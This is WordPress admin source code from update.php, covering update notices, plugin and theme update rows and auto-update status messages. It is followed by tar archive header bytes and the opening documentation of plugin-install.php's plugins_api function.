	if ( $ssl && is_wp_error( $response ) ) {
		trigger_error(
			sprintf(
				/* translators: %s: Support forums URL. */
				__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
				__( 'https://wordpress.org/support/forums/' )
			) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
			headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
		);
		$response = wp_remote_get( $http_url, $options );
	}

if ( is_wp_error( $response ) || 200 != wp_remote_retrieve_response_code( $response ) ) {
		return false;
	}

$body = trim( wp_remote_retrieve_body( $response ) );
	$body = json_decode( $body, true );

if ( ! is_array( $body ) || ! isset( $body['checksums'] ) || ! is_array( $body['checksums'] ) ) {
		return false;
	}

return $body['checksums'];
}

/**
 * Dismisses core update.
 *
 * @since 2.7.0
 *
 * @param object $update
 * @return bool
 */
function dismiss_core_update( $update ) {
	$dismissed = get_site_option( 'dismissed_update_core' );
	$dismissed[ $update->current . '|' . $update->locale ] = true;
	return update_site_option( 'dismissed_update_core', $dismissed );
}

/**
 * Undismisses core update.
 *
 * @since 2.7.0
 *
 * @param string $version
 * @param string $locale
 * @return bool
 */
function undismiss_core_update( $version, $locale ) {
	$dismissed = get_site_option( 'dismissed_update_core' );
	$key       = $version . '|' . $locale;

if ( ! isset( $dismissed[ $key ] ) ) {
		return false;
	}

unset( $dismissed[ $key ] );
	return update_site_option( 'dismissed_update_core', $dismissed );
}

/**
 * Finds the available update for WordPress core.
 *
 * @since 2.7.0
 *
 * @param string $version Version string to find the update for.
 * @param string $locale  Locale to find the update for.
 * @return object|false The core update offering on success, false on failure.
 */
function find_core_update( $version, $locale ) {
	$from_api = get_site_transient( 'update_core' );

if ( ! isset( $from_api->updates ) || ! is_array( $from_api->updates ) ) {
		return false;
	}

$updates = $from_api->updates;
	foreach ( $updates as $update ) {
		if ( $update->current == $version && $update->locale == $locale ) {
			return $update;
		}
	}
	return false;
}

/**
 * @since 2.3.0
 *
 * @param string $msg
 * @return string
 */
function core_update_footer( $msg = '' ) {
	if ( ! current_user_can( 'update_core' ) ) {
		/* translators: %s: WordPress version. */
		return sprintf( __( 'Version %s' ), get_bloginfo( 'version', 'display' ) );
	}

$cur = get_preferred_from_update_core();
	if ( ! is_object( $cur ) ) {
		$cur = new stdClass;
	}

if ( ! isset( $cur->current ) ) {
		$cur->current = '';
	}

if ( ! isset( $cur->url ) ) {
		$cur->url = '';
	}

if ( ! isset( $cur->response ) ) {
		$cur->response = '';
	}

switch ( $cur->response ) {
		case 'development':
			return sprintf(
				/* translators: 1: WordPress version number, 2: URL to WordPress Updates screen. */
				__( 'You are using a development version (%1$s). Cool! Please <a href="%2$s">stay updated</a>.' ),
				get_bloginfo( 'version', 'display' ),
				network_admin_url( 'update-core.php' )
			);

case 'upgrade':
			return sprintf(
				'<strong><a href="%s">%s</a></strong>',
				network_admin_url( 'update-core.php' ),
				/* translators: %s: WordPress version. */
				sprintf( __( 'Get Version %s' ), $cur->current )
			);

case 'latest':
		default:
			/* translators: %s: WordPress version. */
			return sprintf( __( 'Version %s' ), get_bloginfo( 'version', 'display' ) );
	}
}

/**
 * @since 2.3.0
 *
 * @global string $pagenow
 * @return void|false
 */
function update_nag() {
	if ( is_multisite() && ! current_user_can( 'update_core' ) ) {
		return false;
	}

global $pagenow;

if ( 'update-core.php' === $pagenow ) {
		return;
	}

$cur = get_preferred_from_update_core();

if ( ! isset( $cur->response ) || 'upgrade' !== $cur->response ) {
		return false;
	}

$version_url = sprintf(
		/* translators: %s: WordPress version. */
		esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
		sanitize_title( $cur->current )
	);

if ( current_user_can( 'update_core' ) ) {
		$msg = sprintf(
			/* translators: 1: URL to WordPress release notes, 2: New WordPress version, 3: URL to network admin, 4: Accessibility text. */
			__( '<a href="%1$s">WordPress %2$s</a> is available! <a href="%3$s" aria-label="%4$s">Please update now</a>.' ),
			$version_url,
			$cur->current,
			network_admin_url( 'update-core.php' ),
			esc_attr__( 'Please update WordPress now' )
		);
	} else {
		$msg = sprintf(
			/* translators: 1: URL to WordPress release notes, 2: New WordPress version. */
			__( '<a href="%1$s">WordPress %2$s</a> is available! Please notify the site administrator.' ),
			$version_url,
			$cur->current
		);
	}

echo "<div class='update-nag notice notice-warning inline'>$msg</div>";
}

/**
 * Displays WordPress version and active theme in the 'At a Glance' dashboard widget.
 *
 * @since 2.5.0
 */
function update_right_now_message() {
	$theme_name = wp_get_theme();
	if ( current_user_can( 'switch_themes' ) ) {
		$theme_name = sprintf( '<a href="themes.php">%1$s</a>', $theme_name );
	}

$msg = '';

if ( current_user_can( 'update_core' ) ) {
		$cur = get_preferred_from_update_core();

if ( isset( $cur->response ) && 'upgrade' === $cur->response ) {
			$msg .= sprintf(
				'<a href="%s" class="button" aria-describedby="wp-version">%s</a> ',
				network_admin_url( 'update-core.php' ),
				/* translators: %s: WordPress version number, or 'Latest' string. */
				sprintf( __( 'Update to %s' ), $cur->current ? $cur->current : __( 'Latest' ) )
			);
		}
	}

/* translators: 1: Version number, 2: Theme name. */
	$content = __( 'WordPress %1$s running %2$s theme.' );

/**
	 * Filters the text displayed in the 'At a Glance' dashboard widget.
	 *
	 * Prior to 3.8.0, the widget was named 'Right Now'.
	 *
	 * @since 4.4.0
	 *
	 * @param string $content Default text.
	 */
	$content = apply_filters( 'update_right_now_text', $content );

$msg .= sprintf( '<span id="wp-version">' . $content . '</span>', get_bloginfo( 'version', 'display' ), $theme_name );

echo "<p id='wp-version-message'>$msg</p>";
}

/**
 * @since 2.9.0
 *
 * @return array
 */
function get_plugin_updates() {
	$all_plugins     = get_plugins();
	$upgrade_plugins = array();
	$current         = get_site_transient( 'update_plugins' );
	foreach ( (array) $all_plugins as $plugin_file => $plugin_data ) {
		if ( isset( $current->response[ $plugin_file ] ) ) {
			$upgrade_plugins[ $plugin_file ]         = (object) $plugin_data;
			$upgrade_plugins[ $plugin_file ]->update = $current->response[ $plugin_file ];
		}
	}

return $upgrade_plugins;
}

/**
 * @since 2.9.0
 */
function wp_plugin_update_rows() {
	if ( ! current_user_can( 'update_plugins' ) ) {
		return;
	}

$plugins = get_site_transient( 'update_plugins' );
	if ( isset( $plugins->response ) && is_array( $plugins->response ) ) {
		$plugins = array_keys( $plugins->response );
		foreach ( $plugins as $plugin_file ) {
			add_action( "after_plugin_row_{$plugin_file}", 'wp_plugin_update_row', 10, 2 );
		}
	}
}

/**
 * Displays update information for a plugin.
 *
 * @since 2.3.0
 *
 * @param string $file        Plugin basename.
 * @param array  $plugin_data Plugin information.
 * @return void|false
 */
function wp_plugin_update_row( $file, $plugin_data ) {
	$current = get_site_transient( 'update_plugins' );
	if ( ! isset( $current->response[ $file ] ) ) {
		return false;
	}

$response = $current->response[ $file ];

$plugins_allowedtags = array(
		'a'       => array(
			'href'  => array(),
			'title' => array(),
		),
		'abbr'    => array( 'title' => array() ),
		'acronym' => array( 'title' => array() ),
		'code'    => array(),
		'em'      => array(),
		'strong'  => array(),
	);

$plugin_name = wp_kses( $plugin_data['Name'], $plugins_allowedtags );
	$details_url = self_admin_url( 'plugin-install.php?tab=plugin-information&plugin=' . $response->slug . '&section=changelog&TB_iframe=true&width=600&height=800' );

/** @var WP_Plugins_List_Table $wp_list_table */
	$wp_list_table = _get_list_table(
		'WP_Plugins_List_Table',
		array(
			'screen' => get_current_screen(),
		)
	);

if ( is_network_admin() || ! is_multisite() ) {
		if ( is_network_admin() ) {
			$active_class = is_plugin_active_for_network( $file ) ? ' active' : '';
		} else {
			$active_class = is_plugin_active( $file ) ? ' active' : '';
		}

$requires_php   = isset( $response->requires_php ) ? $response->requires_php : null;
		$compatible_php = is_php_version_compatible( $requires_php );
		$notice_type    = $compatible_php ? 'notice-warning' : 'notice-error';

printf(
			'<tr class="plugin-update-tr%s" id="%s" data-slug="%s" data-plugin="%s">' .
			'<td colspan="%s" class="plugin-update colspanchange">' .
			'<div class="update-message notice inline %s notice-alt"><p>',
			$active_class,
			esc_attr( $response->slug . '-update' ),
			esc_attr( $response->slug ),
			esc_attr( $file ),
			esc_attr( $wp_list_table->get_column_count() ),
			$notice_type
		);

if ( ! current_user_can( 'update_plugins' ) ) {
			printf(
				/* translators: 1: Plugin name, 2: Details URL, 3: Additional link attributes, 4: Version number. */
				__( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a>.' ),
				$plugin_name,
				esc_url( $details_url ),
				sprintf(
					'class="thickbox open-plugin-details-modal" aria-label="%s"',
					/* translators: 1: Plugin name, 2: Version number. */
					esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $plugin_name, $response->new_version ) )
				),
				esc_attr( $response->new_version )
			);
		} elseif ( empty( $response->package ) ) {
			printf(
				/* translators: 1: Plugin name, 2: Details URL, 3: Additional link attributes, 4: Version number. */
				__( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a>. <em>Automatic update is unavailable for this plugin.</em>' ),
				$plugin_name,
				esc_url( $details_url ),
				sprintf(
					'class="thickbox open-plugin-details-modal" aria-label="%s"',
					/* translators: 1: Plugin name, 2: Version number. */
					esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $plugin_name, $response->new_version ) )
				),
				esc_attr( $response->new_version )
			);
		} else {
			if ( $compatible_php ) {
				printf(
					/* translators: 1: Plugin name, 2: Details URL, 3: Additional link attributes, 4: Version number, 5: Update URL, 6: Additional link attributes. */
					__( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a> or <a href="%5$s" %6$s>update now</a>.' ),
					$plugin_name,
					esc_url( $details_url ),
					sprintf(
						'class="thickbox open-plugin-details-modal" aria-label="%s"',
						/* translators: 1: Plugin name, 2: Version number. */
						esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $plugin_name, $response->new_version ) )
					),
					esc_attr( $response->new_version ),
					wp_nonce_url( self_admin_url( 'update.php?action=upgrade-plugin&plugin=' ) . $file, 'upgrade-plugin_' . $file ),
					sprintf(
						'class="update-link" aria-label="%s"',
						/* translators: %s: Plugin name. */
						esc_attr( sprintf( _x( 'Update %s now', 'plugin' ), $plugin_name ) )
					)
				);
			} else {
				printf(
					/* translators: 1: Plugin name, 2: Details URL, 3: Additional link attributes, 4: Version number 5: URL to Update PHP page. */
					__( 'There is a new version of %1$s available, but it doesn&#8217;t work with your version of PHP. <a href="%2$s" %3$s>View version %4$s details</a> or <a href="%5$s">learn more about updating PHP</a>.' ),
					$plugin_name,
					esc_url( $details_url ),
					sprintf(
						'class="thickbox open-plugin-details-modal" aria-label="%s"',
						/* translators: 1: Plugin name, 2: Version number. */
						esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $plugin_name, $response->new_version ) )
					),
					esc_attr( $response->new_version ),
					esc_url( wp_get_update_php_url() )
				);
				wp_update_php_annotation( '<br><em>', '</em>' );
			}
		}

/**
		 * Fires at the end of the update message container in each
		 * row of the plugins list table.
		 *
		 * The dynamic portion of the hook name, `$file`, refers to the path
		 * of the plugin's primary file relative to the plugins directory.
		 *
		 * @since 2.8.0
		 *
		 * @param array $plugin_data {
		 *     An array of plugin metadata.
		 *
		 *     @type string $name        The human-readable name of the plugin.
		 *     @type string $plugin_uri  Plugin URI.
		 *     @type string $version     Plugin version.
		 *     @type string $description Plugin description.
		 *     @type string $author      Plugin author.
		 *     @type string $author_uri  Plugin author URI.
		 *     @type string $text_domain Plugin text domain.
		 *     @type string $domain_path Relative path to the plugin's .mo file(s).
		 *     @type bool   $network     Whether the plugin can only be activated network wide.
		 *     @type string $title       The human-readable title of the plugin.
		 *     @type string $author_name Plugin author's name.
		 *     @type bool   $update      Whether there's an available update. Default null.
		 * }
		 * @param array $response {
		 *     An array of metadata about the available plugin update.
		 *
		 *     @type int    $id          Plugin ID.
		 *     @type string $slug        Plugin slug.
		 *     @type string $new_version New plugin version.
		 *     @type string $url         Plugin URL.
		 *     @type string $package     Plugin update package URL.
		 * }
		 */
		do_action( "in_plugin_update_message-{$file}", $plugin_data, $response ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

echo '</p></div></td></tr>';
	}
}

/**
 * @since 2.9.0
 *
 * @return array
 */
function get_theme_updates() {
	$current = get_site_transient( 'update_themes' );

if ( ! isset( $current->response ) ) {
		return array();
	}

$update_themes = array();
	foreach ( $current->response as $stylesheet => $data ) {
		$update_themes[ $stylesheet ]         = wp_get_theme( $stylesheet );
		$update_themes[ $stylesheet ]->update = $data;
	}

return $update_themes;
}

/**
 * @since 3.1.0
 */
function wp_theme_update_rows() {
	if ( ! current_user_can( 'update_themes' ) ) {
		return;
	}

$themes = get_site_transient( 'update_themes' );
	if ( isset( $themes->response ) && is_array( $themes->response ) ) {
		$themes = array_keys( $themes->response );

foreach ( $themes as $theme ) {
			add_action( "after_theme_row_{$theme}", 'wp_theme_update_row', 10, 2 );
		}
	}
}

/**
 * Displays update information for a theme.
 *
 * @since 3.1.0
 *
 * @param string   $theme_key Theme stylesheet.
 * @param WP_Theme $theme     Theme object.
 * @return void|false
 */
function wp_theme_update_row( $theme_key, $theme ) {
	$current = get_site_transient( 'update_themes' );

if ( ! isset( $current->response[ $theme_key ] ) ) {
		return false;
	}

$response = $current->response[ $theme_key ];

$details_url = add_query_arg(
		array(
			'TB_iframe' => 'true',
			'width'     => 1024,
			'height'    => 800,
		),
		$current->response[ $theme_key ]['url']
	);

/** @var WP_MS_Themes_List_Table $wp_list_table */
	$wp_list_table = _get_list_table( 'WP_MS_Themes_List_Table' );

$active = $theme->is_allowed( 'network' ) ? ' active' : '';

$requires_wp  = isset( $response['requires'] ) ? $response['requires'] : null;
	$requires_php = isset( $response['requires_php'] ) ? $response['requires_php'] : null;

$compatible_wp  = is_wp_version_compatible( $requires_wp );
	$compatible_php = is_php_version_compatible( $requires_php );

printf(
		'<tr class="plugin-update-tr%s" id="%s" data-slug="%s">' .
		'<td colspan="%s" class="plugin-update colspanchange">' .
		'<div class="update-message notice inline notice-warning notice-alt"><p>',
		$active,
		esc_attr( $theme->get_stylesheet() . '-update' ),
		esc_attr( $theme->get_stylesheet() ),
		$wp_list_table->get_column_count()
	);

if ( $compatible_wp && $compatible_php ) {
		if ( ! current_user_can( 'update_themes' ) ) {
			printf(
				/* translators: 1: Theme name, 2: Details URL, 3: Additional link attributes, 4: Version number. */
				__( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a>.' ),
				$theme['Name'],
				esc_url( $details_url ),
				sprintf(
					'class="thickbox open-plugin-details-modal" aria-label="%s"',
					/* translators: 1: Theme name, 2: Version number. */
					esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $theme['Name'], $response['new_version'] ) )
				),
				$response['new_version']
			);
		} elseif ( empty( $response['package'] ) ) {
			printf(
				/* translators: 1: Theme name, 2: Details URL, 3: Additional link attributes, 4: Version number. */
				__( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a>. <em>Automatic update is unavailable for this theme.</em>' ),
				$theme['Name'],
				esc_url( $details_url ),
				sprintf(
					'class="thickbox open-plugin-details-modal" aria-label="%s"',
					/* translators: 1: Theme name, 2: Version number. */
					esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $theme['Name'], $response['new_version'] ) )
				),
				$response['new_version']
			);
		} else {
			printf(
				/* translators: 1: Theme name, 2: Details URL, 3: Additional link attributes, 4: Version number, 5: Update URL, 6: Additional link attributes. */
				__( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a> or <a href="%5$s" %6$s>update now</a>.' ),
				$theme['Name'],
				esc_url( $details_url ),
				sprintf(
					'class="thickbox open-plugin-details-modal" aria-label="%s"',
					/* translators: 1: Theme name, 2: Version number. */
					esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $theme['Name'], $response['new_version'] ) )
				),
				$response['new_version'],
				wp_nonce_url( self_admin_url( 'update.php?action=upgrade-theme&theme=' ) . $theme_key, 'upgrade-theme_' . $theme_key ),
				sprintf(
					'class="update-link" aria-label="%s"',
					/* translators: %s: Theme name. */
					esc_attr( sprintf( _x( 'Update %s now', 'theme' ), $theme['Name'] ) )
				)
			);
		}
	} else {
		if ( ! $compatible_wp && ! $compatible_php ) {
			printf(
				/* translators: %s: Theme name. */
				__( 'There is a new version of %s available, but it doesn&#8217;t work with your versions of WordPress and PHP.' ),
				$theme['Name']
			);
			if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
				printf(
					/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
					' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
					self_admin_url( 'update-core.php' ),
					esc_url( wp_get_update_php_url() )
				);
				wp_update_php_annotation( '</p><p><em>', '</em>' );
			} elseif ( current_user_can( 'update_core' ) ) {
				printf(
					/* translators: %s: URL to WordPress Updates screen. */
					' ' . __( '<a href="%s">Please update WordPress</a>.' ),
					self_admin_url( 'update-core.php' )
				);
			} elseif ( current_user_can( 'update_php' ) ) {
				printf(
					/* translators: %s: URL to Update PHP page. */
					' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
					esc_url( wp_get_update_php_url() )
				);
				wp_update_php_annotation( '</p><p><em>', '</em>' );
			}
		} elseif ( ! $compatible_wp ) {
			printf(
				/* translators: %s: Theme name. */
				__( 'There is a new version of %s available, but it doesn&#8217;t work with your version of WordPress.' ),
				$theme['Name']
			);
			if ( current_user_can( 'update_core' ) ) {
				printf(
					/* translators: %s: URL to WordPress Updates screen. */
					' ' . __( '<a href="%s">Please update WordPress</a>.' ),
					self_admin_url( 'update-core.php' )
				);
			}
		} elseif ( ! $compatible_php ) {
			printf(
				/* translators: %s: Theme name. */
				__( 'There is a new version of %s available, but it doesn&#8217;t work with your version of PHP.' ),
				$theme['Name']
			);
			if ( current_user_can( 'update_php' ) ) {
				printf(
					/* translators: %s: URL to Update PHP page. */
					' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
					esc_url( wp_get_update_php_url() )
				);
				wp_update_php_annotation( '</p><p><em>', '</em>' );
			}
		}
	}

/**
	 * Fires at the end of the update message container in each
	 * row of the themes list table.
	 *
	 * The dynamic portion of the hook name, `$theme_key`, refers to
	 * the theme slug as found in the WordPress.org themes repository.
	 *
	 * @since 3.1.0
	 *
	 * @param WP_Theme $theme    The WP_Theme object.
	 * @param array    $response {
	 *     An array of metadata about the available theme update.
	 *
	 *     @type string $new_version New theme version.
	 *     @type string $url         Theme URL.
	 *     @type string $package     Theme update package URL.
	 * }
	 */
	do_action( "in_theme_update_message-{$theme_key}", $theme, $response ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

echo '</p></div></td></tr>';
}

/**
 * @since 2.7.0
 *
 * @global int $upgrading
 * @return void|false
 */
function maintenance_nag() {
	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';
	global $upgrading;
	$nag = isset( $upgrading );
	if ( ! $nag ) {
		$failed = get_site_option( 'auto_core_update_failed' );
		/*
		 * If an update failed critically, we may have copied over version.php but not other files.
		 * In that case, if the installation claims we're running the version we attempted, nag.
		 * This is serious enough to err on the side of nagging.
		 *
		 * If we simply failed to update before we tried to copy any files, then assume things are
		 * OK if they are now running the latest.
		 *
		 * This flag is cleared whenever a successful update occurs using Core_Upgrader.
		 */
		$comparison = ! empty( $failed['critical'] ) ? '>=' : '>';
		if ( isset( $failed['attempted'] ) && version_compare( $failed['attempted'], $wp_version, $comparison ) ) {
			$nag = true;
		}
	}

if ( ! $nag ) {
		return false;
	}

if ( current_user_can( 'update_core' ) ) {
		$msg = sprintf(
			/* translators: %s: URL to WordPress Updates screen. */
			__( 'An automated WordPress update has failed to complete - <a href="%s">please attempt the update again now</a>.' ),
			'update-core.php'
		);
	} else {
		$msg = __( 'An automated WordPress update has failed to complete! Please notify the site administrator.' );
	}

echo "<div class='update-nag notice notice-warning inline'>$msg</div>";
}

/**
 * Prints the JavaScript templates for update admin notices.
 *
 * Template takes one argument with four values:
 *
 *     param {object} data {
 *         Arguments for admin notice.
 *
 *         @type string id        ID of the notice.
 *         @type string className Class names for the notice.
 *         @type string message   The notice's message.
 *         @type string type      The type of update the notice is for. Either 'plugin' or 'theme'.
 *     }
 *
 * @since 4.6.0
 */
function wp_print_admin_notice_templates() {
	?>
	<script id="tmpl-wp-updates-admin-notice" type="text/html">
		<div <# if ( data.id ) { #>id="{{ data.id }}"<# } #> class="notice {{ data.className }}"><p>{{{ data.message }}}</p></div>
	</script>
	<script id="tmpl-wp-bulk-updates-admin-notice" type="text/html">
		<div id="{{ data.id }}" class="{{ data.className }} notice <# if ( data.errors ) { #>notice-error<# } else { #>notice-success<# } #>">
			<p>
				<# if ( data.successes ) { #>
					<# if ( 1 === data.successes ) { #>
						<# if ( 'plugin' === data.type ) { #>
							<?php
							/* translators: %s: Number of plugins. */
							printf( __( '%s plugin successfully updated.' ), '{{ data.successes }}' );
							?>
						<# } else { #>
							<?php
							/* translators: %s: Number of themes. */
							printf( __( '%s theme successfully updated.' ), '{{ data.successes }}' );
							?>
						<# } #>
					<# } else { #>
						<# if ( 'plugin' === data.type ) { #>
							<?php
							/* translators: %s: Number of plugins. */
							printf( __( '%s plugins successfully updated.' ), '{{ data.successes }}' );
							?>
						<# } else { #>
							<?php
							/* translators: %s: Number of themes. */
							printf( __( '%s themes successfully updated.' ), '{{ data.successes }}' );
							?>
						<# } #>
					<# } #>
				<# } #>
				<# if ( data.errors ) { #>
					<button class="button-link bulk-action-errors-collapsed" aria-expanded="false">
						<# if ( 1 === data.errors ) { #>
							<?php
							/* translators: %s: Number of failed updates. */
							printf( __( '%s update failed.' ), '{{ data.errors }}' );
							?>
						<# } else { #>
							<?php
							/* translators: %s: Number of failed updates. */
							printf( __( '%s updates failed.' ), '{{ data.errors }}' );
							?>
						<# } #>
						<span class="screen-reader-text"><?php _e( 'Show more details' ); ?></span>
						<span class="toggle-indicator" aria-hidden="true"></span>
					</button>
				<# } #>
			</p>
			<# if ( data.errors ) { #>
				<ul class="bulk-action-errors hidden">
					<# _.each( data.errorMessages, function( errorMessage ) { #>
						<li>{{ errorMessage }}</li>
					<# } ); #>
				</ul>
			<# } #>
		</div>
	</script>
	<?php
}

/**
 * Prints the JavaScript templates for update and deletion rows in list tables.
 *
 * The update template takes one argument with four values:
 *
 *     param {object} data {
 *         Arguments for the update row
 *
 *         @type string slug    Plugin slug.
 *         @type string plugin  Plugin base name.
 *         @type string colspan The number of table columns this row spans.
 *         @type string content The row content.
 *     }
 *
 * The delete template takes one argument with four values:
 *
 *     param {object} data {
 *         Arguments for the update row
 *
 *         @type string slug    Plugin slug.
 *         @type string plugin  Plugin base name.
 *         @type string name    Plugin name.
 *         @type string colspan The number of table columns this row spans.
 *     }
 *
 * @since 4.6.0
 */
function wp_print_update_row_templates() {
	?>
	<script id="tmpl-item-update-row" type="text/template">
		<tr class="plugin-update-tr update" id="{{ data.slug }}-update" data-slug="{{ data.slug }}" <# if ( data.plugin ) { #>data-plugin="{{ data.plugin }}"<# } #>>
			<td colspan="{{ data.colspan }}" class="plugin-update colspanchange">
				{{{ data.content }}}
			</td>
		</tr>
	</script>
	<script id="tmpl-item-deleted-row" type="text/template">
		<tr class="plugin-deleted-tr inactive deleted" id="{{ data.slug }}-deleted" data-slug="{{ data.slug }}" <# if ( data.plugin ) { #>data-plugin="{{ data.plugin }}"<# } #>>
			<td colspan="{{ data.colspan }}" class="plugin-update colspanchange">
				<# if ( data.plugin ) { #>
					<?php
					printf(
						/* translators: %s: Plugin name. */
						_x( '%s was successfully deleted.', 'plugin' ),
						'<strong>{{{ data.name }}}</strong>'
					);
					?>
				<# } else { #>
					<?php
					printf(
						/* translators: %s: Theme name. */
						_x( '%s was successfully deleted.', 'theme' ),
						'<strong>{{{ data.name }}}</strong>'
					);
					?>
				<# } #>
			</td>
		</tr>
	</script>
	<?php
}

/**
 * Displays a notice when the user is in recovery mode.
 *
 * @since 5.2.0
 */
function wp_recovery_mode_nag() {
	if ( ! wp_is_recovery_mode() ) {
		return;
	}

$url = wp_login_url();
	$url = add_query_arg( 'action', WP_Recovery_Mode::EXIT_ACTION, $url );
	$url = wp_nonce_url( $url, WP_Recovery_Mode::EXIT_ACTION );

?>
	<div class="notice notice-info">
		<p>
			<?php
			printf(
				/* translators: %s: Recovery Mode exit link. */
				__( 'You are in recovery mode. This means there may be an error with a theme or plugin. To exit recovery mode, log out or use the Exit button. <a href="%s">Exit Recovery Mode</a>' ),
				esc_url( $url )
			);
			?>
		</p>
	</div>
	<?php
}

/**
 * Checks whether auto-updates are enabled.
 *
 * @since 5.5.0
 *
 * @param string $type The type of update being checked: 'theme' or 'plugin'.
 * @return bool True if auto-updates are enabled for `$type`, false otherwise.
 */
function wp_is_auto_update_enabled_for_type( $type ) {
	if ( ! class_exists( 'WP_Automatic_Updater' ) ) {
		require_once ABSPATH . 'wp-admin/includes/class-wp-automatic-updater.php';
	}

$updater = new WP_Automatic_Updater();
	$enabled = ! $updater->is_disabled();

switch ( $type ) {
		case 'plugin':
			/**
			 * Filters whether plugins auto-update is enabled.
			 *
			 * @since 5.5.0
			 *
			 * @param bool $enabled True if plugins auto-update is enabled, false otherwise.
			 */
			return apply_filters( 'plugins_auto_update_enabled', $enabled );
		case 'theme':
			/**
			 * Filters whether themes auto-update is enabled.
			 *
			 * @since 5.5.0
			 *
			 * @param bool $enabled True if themes auto-update is enabled, false otherwise.
			 */
			return apply_filters( 'themes_auto_update_enabled', $enabled );
	}

return false;
}

/**
 * Determines the appropriate auto-update message to be displayed.
 *
 * @since 5.5.0
 *
 * @return string The update message to be shown.
 */
function wp_get_auto_update_message() {
	$next_update_time = wp_next_scheduled( 'wp_version_check' );

// Check if the event exists.
	if ( false === $next_update_time ) {
		$message = __( 'Automatic update not scheduled. There may be a problem with WP-Cron.' );
	} else {
		$time_to_next_update = human_time_diff( intval( $next_update_time ) );

// See if cron is overdue.
		$overdue = ( time() - $next_update_time ) > 0;

if ( $overdue ) {
			$message = sprintf(
				/* translators: %s: Duration that WP-Cron has been overdue. */
				__( 'Automatic update overdue by %s. There may be a problem with WP-Cron.' ),
				$time_to_next_update
			);
		} else {
			$message = sprintf(
				/* translators: %s: Time until the next update. */
				__( 'Automatic update scheduled in %s.' ),
				$time_to_next_update
			);
		}
	}

return $message;
}
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugin-install.php����������������������������������������������������������������������������������0000604�����������������00000103342�15075125355�0010226 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * WordPress Plugin Install Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Retrieves plugin installer pages from the WordPress.org Plugins API.
 *
 * It is possible for a plugin to override the Plugin API result with three
 * filters. Assume this is for plugins, which can extend on the Plugin Info to
 * offer more choices. This is very powerful and must be used with care when
 * overriding the filters.
 *
 * The first filter, {@see 'plugins_api_args'}, is for the args and gives the action
 * as the second parameter. The hook for {@see 'plugins_api_args'} must ensure that
 * an object is returned.
 *
 * The second filter, {@see 'plugins_api'}, allows a plugin to override the WordPress.org
 * Plugin Installation API entirely. If `$action` is 'query_plugins' or 'plugin_information',
 * an object MUST be passed. If `$action` is 'hot_tags' or 'hot_categories', an array MUST
 * be passed.
 *
 * Finally, the third filter, {@see 'plugins_api_result'}, makes it possible to filter the
 * response object or array, depending on the `$action` type.
 *
 * Supported arguments per action:
 *
 * | Argument Name        | query_plugins | plugin_information | hot_tags | hot_categories |
 * | -------------------- | :-----------: | :----------------: | :------: | :------------: |
 * | `$slug`              | No            |  Yes               | No       | No             |
 * | `$per_page`          | Yes           |  No                | No       | No             |
 * | `$page`              | Yes           |  No                | No       | No             |
 * | `$number`            | No            |  No                | Yes      | Yes            |
 * | `$search`            | Yes           |  No                | No       | No             |
 * | `$tag`               | Yes           |  No                | No       | No             |
 * | `$author`            | Yes           |  No                | No       | No             |
 * | `$user`              | Yes           |  No                | No       | No             |
 * | `$browse`            | Yes           |  No                | No       | No             |
 * | `$locale`            | Yes           |  Yes               | No       | No             |
 * | `$installed_plugins` | Yes           |  No                | No       | No             |
 * | `$is_ssl`            | Yes           |  Yes               | No       | No             |
 * | `$fields`            | Yes           |  Yes               | No       | No             |
 *
 * @since 2.7.0
 *
 * @param string       $action API action to perform: 'query_plugins', 'plugin_information',
 *                             'hot_tags' or 'hot_categories'.
 * @param array|object $args   {
 *     Optional. Array or object of arguments to serialize for the Plugin Info API.
 *
 *     @type string  $slug              The plugin slug. Default empty.
 *     @type int     $per_page          Number of plugins per page. Default 24.
 *     @type int     $page              Number of current page. Default 1.
 *     @type int     $number            Number of tags or categories to be queried.
 *     @type string  $search            A search term. Default empty.
 *     @type string  $tag               Tag to filter plugins. Default empty.
 *     @type string  $author            Username of an plugin author to filter plugins. Default empty.
 *     @type string  $user              Username to query for their favorites. Default empty.
 *     @type string  $browse            Browse view: 'popular', 'new', 'beta', 'recommended'.
 *     @type string  $locale            Locale to provide context-sensitive results. Default is the value
 *                                      of get_locale().
 *     @type string  $installed_plugins Installed plugins to provide context-sensitive results.
 *     @type bool    $is_ssl            Whether links should be returned with https or not. Default false.
 *     @type array   $fields            {
 *         Array of fields which should or should not be returned.
 *
 *         @type bool $short_description Whether to return the plugin short description. Default true.
 *         @type bool $description       Whether to return the plugin full description. Default false.
 *         @type bool $sections          Whether to return the plugin readme sections: description, installation,
 *                                       FAQ, screenshots, other notes, and changelog. Default false.
